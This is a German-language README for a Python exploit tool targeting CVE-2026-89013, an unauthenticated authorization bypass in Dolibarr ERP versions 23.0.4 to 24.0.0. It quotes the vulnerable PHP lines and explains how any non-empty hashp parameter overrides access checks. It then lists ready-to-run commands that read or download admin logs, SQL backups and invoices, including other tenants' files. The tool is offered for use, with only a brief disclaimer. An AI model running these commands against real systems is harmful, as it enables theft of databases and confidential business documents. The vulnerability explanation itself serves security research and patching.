
Python-Exploit für CVE-2026-89013, eine unauthentifizierte Dolibarr-Hashp-Autorisierungsumgehung, die beliebiges Dateilesen ermöglicht, mit den Modi check, list, hunt, read und download.
Exploit für CVE-2026-89013: document.php und viewimage.php erzwingen NOLOGIN, wenn
der Parameter hashp vorhanden ist. Der interne Markerwert shared überspringt
die Share-Token-Auflösung, aber die Zugriffskontroll-Überschreibung greift dennoch für jeden
nicht-leeren Wert und setzt $accessallowed = 1, wodurch das Ergebnis von
dol_check_secure_access_document() verworfen wird. Eine nicht authentifizierte Anfrage kann daher
jede Datei in jedem modulepart-Baum lesen: Geschäftsdokumente, Admin-Logs, SQL-
Backups (modulepart=systemtools), Quellcode benutzerdefinierter Module (modulepart=packages)
und andere Multicompany-Entitäten über .
&entity=N| Betroffen | Dolibarr 23.0.4 – 24.0.0 |
| Behoben | 24.0.1 |
| Voraussetzungen | keine (nicht authentifiziert) |
| Auswirkung | beliebiges Dateilesen innerhalb der von Dolibarr verwalteten Verzeichnisse |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
Eine Regression von Commit 5028dae981e (2026-08-12), erstmals ausgeliefert in 23.0.4 und
24.0.0. Traversal (../) wird serverseitig bereinigt — dies ist eine Autorisierungsumgehung,
kein Path Traversal.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
Nur Standardbibliothek (Python 3.8+). Unterstützt --proxy, --insecure, --timeout.

Nur für autorisierte Tests und Forschung. Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie ausdrückliche Testgenehmigung haben.